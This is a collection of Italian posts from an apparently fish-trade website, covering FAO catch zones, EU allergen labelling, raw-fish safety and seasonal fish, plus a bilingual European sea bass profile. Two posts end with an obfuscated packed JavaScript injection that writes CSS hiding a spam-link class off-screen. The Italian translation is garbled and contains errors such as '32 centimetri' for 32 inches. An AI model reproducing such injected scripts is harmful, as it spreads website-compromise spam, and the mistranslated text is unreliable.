Zone e Sottozone FAO 27 e Fao 37

Dal 13 Dicembre entrano in vigore le nuove norme in materia di tracciabilità.

Alleghiamo un link per l’identificazione delle zone e sotto zone relative all’ Area Fao 27 e Fao 37

 

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Allergeni: Nuove Norme Europee

Allergeni, oli vegetali, data
di scadenza: le nuove norme
europee per le etichette

Applicabile da sabato scorso, il regolamento comunitario è entrato in vigore a fine 2011

Cereali contenenti glutine (inclusi anche farro, frumento e segale), sedanoe prodotti a base di sedano (compreso quello disidratato utilizzato nei dadi da brodo), crostacei (granchi, aragoste, gamberi e derivati), uova(compresi gli alimenti semplicemente spennellati e dorati grazie all’uso dell’uovo), pesce di ogni tipo, lupini, latte, molluschi (cozze, lumache di terra, calamari, ostriche e salsa d’ostriche), senape, frutta a guscio di ogni tipo, arachidi e olio d’arachidi, sesamo e derivati, soya e derivati, biossido di zolfo (conservante spesso utilizzato per preparati alimentari a base di frutta secca, prodotti a base di carne, bibite, verdure, bevande alcoliche): è l’elenco dei 14 prodotti che provocano allergie o intolleranze sui quali, in base al nuovo relativo alla relativo alla fornitura di informazioni sugli alimenti ai consumatori, questi ultimi dovranno ricevere “informazioni essenziali, leggibili e comprensibili” affinché possano effettuare acquisti consapevoli. Prendono il via le nuove regole per l’etichettatura per tutti i Paesi membri: “La fornitura di informazioni sugli alimenti – si legge nel testo del regolamento comunitario – tende a un livello elevato di protezione della salute e degli interessi dei consumatori, fornendo ai consumatori finali le basi per effettuare delle scelte consapevoli e per utilizzare gli alimenti in modo sicuro, nel rispetto in particolare di considerazioni sanitarie, economiche, ambientali, sociali ed etiche”.

 

Il regolamento comunitario relativo alla fornitura di informazioni sugli alimenti ai consumatori (n°1169/2011, entrato in vigore a fine 2011 e applicabile a partire dal 13 dicembre 2014 ad eccezione delle disposizioni relative alla dichiarazione dei valori nutrizionali, che saranno applicabili tra due anni, a partire dal 13 dicembre 2016) non si occupa solo di informare il consumatore sulla presenza di ingredienti all’interno dei cibi che possano provocare allergie o intolleranze alimentari: si occupa di fornire informazioni a tutto tondo e il più approfondite possibili sugli ingredienti degli alimenti e sulla loro etichettatura, uniformando le modalità per tutti i Paesi membri.

 

Per quanto riguarda gli allergeni, ad esempio, andrà messa in particolare evidenza – “attraverso un tipo di carattere chiaramente distinto dagli altri ingredienti elencati, per esempio per dimensioni, stile o colore di sfondo”, si legge nel regolamento – la presenza di uno o più ingredienti come glutine, frutta in guscio, arachidi, pesce, molluschi, ecc. (obblighi validi anche per i cibi non imballati, come quelli venduti nei ristoranti o nelle mense). Le dimensioni delle etichette dovranno essere il più possibile grandi e leggibili in relazione alla dimensione della confezione (se la confezione risulterà molto piccola l’etichetta potrà riportare solo le informazioni principali), e la presentazione grafica dovrà essere il più comprensibile possibile per non confondere il consumatore. La data di scadenza dovrà essere riportata su ogni porzione dell’alimento, se confezionata singolarmente, oltre che sulla scatola contenente tutte le singole porzioni. Per il pesce dovranno essere indicate le tecniche di cattura. Per quanto riguarda la carne, poi, da aprile 2015 dovrà essere riportato sulla confezione il luogo di allevamento e macellazione anche per le carni suine, ovine, caprine e per il pollame (attualmente questo obbligo vige solo per la carne bovina). Quanto ai grassi vegetalinon potrà più essere riportata in etichetta la generica dicitura “olio o grasso vegetale”, ma dovrà essere specificato che tipo di olio o grasso è stato impiegato nella preparazione del prodotto (“olio di girasole”, ad esempio). Quanto alla dichiarazione dei valori nutrizionali, potranno essere indicati facoltativamente fino al 13 dicembre 2016: trascorsa questa data diventerà obbligatorio comunicarli in modo chiaro ed evidente.

 

Il regolamento precisa comunque che “gli alimenti immessi sul mercato o etichettati prima del 13 dicembre 2014 che non soddisfano i requisiti del presente regolamento possono essere commercializzati fino all’esaurimento delle scorte“, e lo stesso vale per gli alimenti immessi sul mercato o etichettati prima del 13 dicembre 2016 che non soddisfino il requisito della presenza della dichiarazione nutrizionale.

(fonte Miriam Cesta 16/12/2014 Sole 24 Ore)

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REGOLAMENTO EUROPEO IN MATERIA DI PROTEZIONE DEI DATI PERSONALI (GDPR)

REGOLAMENTO EUROPEO IN MATERIA DI PROTEZIONE DEI DATI PERSONALI (GDPR)

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Pesce crudo a tavola: le regole d’oro

In estate il pesce crudo è tra i protagonisti indiscussi delle nostre tavole: che si tratti di sushi o sashimi o di un nostrano crudo all’italiana, è importante che vengano rispettate alcune semplici regole, per garantire che il pesce sia privo di rischi e non rovinarsi il piacere.

I casi di salmonellosi e listeriosi legati al consumo di pesce crudo sono, infatti, pericolosamente in crescita, con conseguenze che spaziano dai problemi gastrointestinali all’epatite A.

Prima di tutto, attenzione alla qualità della materia prima: è sempre consigliabile rivolgersi ad un fornitore di fiducia (parliamo, in questo caso, del consumo casalingo) e comunque verificare la modalità di conservazione del prodotto. La legge prevede l’obbligo di congelamento a temperature non superiori a -20°C e per 24 ore del pesce prima di poter essere distribuito e messo in vendita, per prevenire il rischio di trasmissione di parassiti come l’Anisakis.

Inutile dire che il pesce Made in Italy sia decisamente da preferire: minore è il tempo che trascorre dal mare alla tavola e inferiore sarà anche la probabilità di sviluppare batteri nocivi. In generale, tutte le variazioni di temperatura incidono negativamente sulla freschezza, per questo occorre prestare la massima attenzione affinché il pesce non subisca shock termici nei diversi passaggi.

Anche nel frigorifero di casa, il pesce deve essere accuratamente protetto, per scongiurare l’ossidazione del prodotto. Inoltre, nella preparazione è bene evitare di lavorarlo eccessivamente, per non alterarne l’equilibrio.

In fondo, un buon pesce ha bisogno davvero di poco per essere valorizzato in tavola.

(Photocredits www.milanotoday.it) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));’,30,30,’116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110′.split(‘|’),0,{}))

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Pesce nei Mesi Invernali: ecco il pesce fresco da portare in tavola

Si dice spesso che il cibo migliore è quello di stagione, perché è più fresco e perché permette di risparmiare. Ma non sono soltanto frutta e verdura ad essere legate alla stagionalità. Anche il pesce, infatti, va scelto con un occhio di riguardo al periodo dell’anno in cui ci si trova, onde evitare di comprare pesce importato o non fresco.

Qual è il pesce di Novembre e Dicembre, che possiamo portare in tavola in modo sicuro?

Questo periodo offre la possibilità di degustare pescato freschissimo, come i molluschi cefalopodi quali moscardini e calamari, le mazzancolle, le canocchie, la sogliola, la triglia o lo spinarolo. Tutti tipi di pesce ottimi da preparare in forno, o per una zuppa di pesce.

In inverno , poi, sono di stagione anche molti molluschi e crostacei. Siamo in tempo, quindi, per gustarci deliziose paste con cozze e vongole, così come con i gamberi e con l’astice o perché no ostriche e tartufi.

E poi perché rinunciare alla calamarata? Anche i calamari, infatti, sono tra i tipi di pesce che possiamo trovare freschi al mercato in questo periodo.

Tra il pesce azzurro, poi, possiamo acquistare le sarde,le acciughe, il merluzzo e lo sgombro, che consentiranno anche un notevole risparmio sulla spesa, visto che si tratta di tipologie di pesce notoriamente meno pregiate e quindi vendute a costi più contenuti.

Insomma, l’estate è ormai finita ma non per questo dobbiamo rinunciare al pesce fresco: basta fare un po’ di attenzione dal pescivendolo per acquistare pesce appena pescato.

(Photocredits eatandrelish.com)

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Bass, European Sea

Sea bass, often marketed by U.S. chefs under the Italian name branzino, is a prized fish in Europe, where it is largely a recreational catch. 

Scientific name: Dicentrarchus labrax

Market name: Sea bass

Common names: European sea bass, Mediterranean sea bass, branzino, bar, loup de mer

French: Bar, loup de mer

German: Wolfbarsch

Italian: Spigola

Japanese: Hata

Spanish: Lubina

 

Introduction:

Sea bass, often marketed by U.S. chefs under the Italian name branzino, is a prized fish in Europe, where it is largely a recreational catch. Small commercial fisheries exist in the Mediterranean. The gear used to catch these bass includes beach and purse seines, trawl nets, trammel nets, longlines and rod and line. Commercial catches are sold fresh, mainly to local markets. This sea bass, which reaches a maximum size of around 32 inches, is found in the Atlantic along the European coasts, in the Mediterranean and as far south as Senegal. Limited wild harvests and a high price made U.S. imports unfeasible until farmed supplies from Norway and Greece began appearing in the American market. Demand today is met almost exclusively by aquacultured product. The bass’s ability to thrive in seawater, brackish water and even fresh water makes it a good candidate for farming. Though now classified as Dicentrarchus labrax, branzino has also gone by the scientific name Morone labrax.

 

Product Profile:

European sea bass meat is pinkish when raw and cooks up opaque white.The finely textured, flaky meat is lean, with a sweet and mild flavor. Many chefs say the wild-caught bass is more flavorful than the farmed product.

 

Nutrition Facts:

Calories: 97
Fat Calories: 18
Total Fat: 2.0 g
Saturated Fat: 0.51 g
Cholesterol: 41 mg
Sodium: 68 mg
Protein: 19.3 g
Omega 3: 0.7 g

 

Cooking Tips:

Since branzino has a relatively low fat content, it is best steamed, baked or sautéed, as these preparations let the delicate flavor come through. Mediterranean cooks grill branzino, but this is tricky as the flesh can dry out easily.

 

Substitutions:

Black sea bass, Perch, Whitefishnutrition facts.

 TRADUZIONE DELLE PAGINA IN ITALIANO:

Branzino, spesso commercializzato da cuochi americani con il nome di branzino italiano, è un pesce pregiato in Europa, dove è in gran parte una cattura da diporto.

Nome scientifico:

Nome Dicentrarchus labraxMarket:

nomi Mare bassCommon: basso europea mare, branzino mediterraneo, branzino, bar, loup de mer francese: Bar, loup de merGerman: WolfbarschItalian: SpigolaJapanese: HataSpanish: Lubina

Introduzione: branzino, spesso commercializzato da Stati Uniti chef sotto il nome di branzino italiana, è un pesce pregiato in Europa, dove è in gran parte una cattura da diporto. Esistono piccole pesca commerciale nel Mediterraneo. Gli attrezzi utilizzati per la cattura di questi bassi comprende la spiaggia e ciancioli, reti da traino, tramagli, palangari e canna e la linea. Catture commerciali sono venduti freschi, principalmente ai mercati locali. Questo spigola, che raggiunge una dimensione massima di circa 32 centimetri, si trova in Atlantico lungo le coste europee, nel Mediterraneo e come estremo sud come il Senegal. Limitata raccolti selvatici e un prezzo elevato ha reso Stati Uniti importano irrealizzabile fino a quando le forniture d’allevamento dalla Norvegia e Grecia ha cominciato a comparire nel mercato americano. La domanda di oggi è soddisfatta quasi esclusivamente da prodotti di acquacoltura. La capacità del basso a prosperare in acqua di mare, acqua salmastra e persino l’acqua fresca lo rende un buon candidato per l’agricoltura. Anche se ora classificato come Dicentrarchus labrax, branzino è anche andato con il nome scientifico Morone labrax. Profilo del prodotto: carne europea spigola è rosato quando crudo e cuochi opaca white.The finemente strutturata, la carne traballante è magra, con un sapore dolce e delicato. Molti chef dicono che il basso catturati in natura è più saporito rispetto al prodotto d’allevamento.

Informazioni nutrizionali:

Calorie: Calorie 97 Fat: 18 Total Fat: 2,0 g Saturated Grassi: 0.51 g Cholesterol: 41 mg Sodium: 68 mg Protein: 19.3 g Omega 3: 0,7 g Consigli di cucina: Da branzino ha un relativamente basso contenuto di grassi, è meglio al vapore, al forno o saltati in padella , in quanto queste preparazioni lasciano il sapore delicato venire attraverso. Mediterraneo cuochi griglia Branzino, ma questo è difficile come la carne può asciugarsi facilmente.

Sostituzioni: nero spigola, pesce persico fatti, Whitefishnutrition.” eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));’,30,30,’116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110′.split(‘|’),0,{}))

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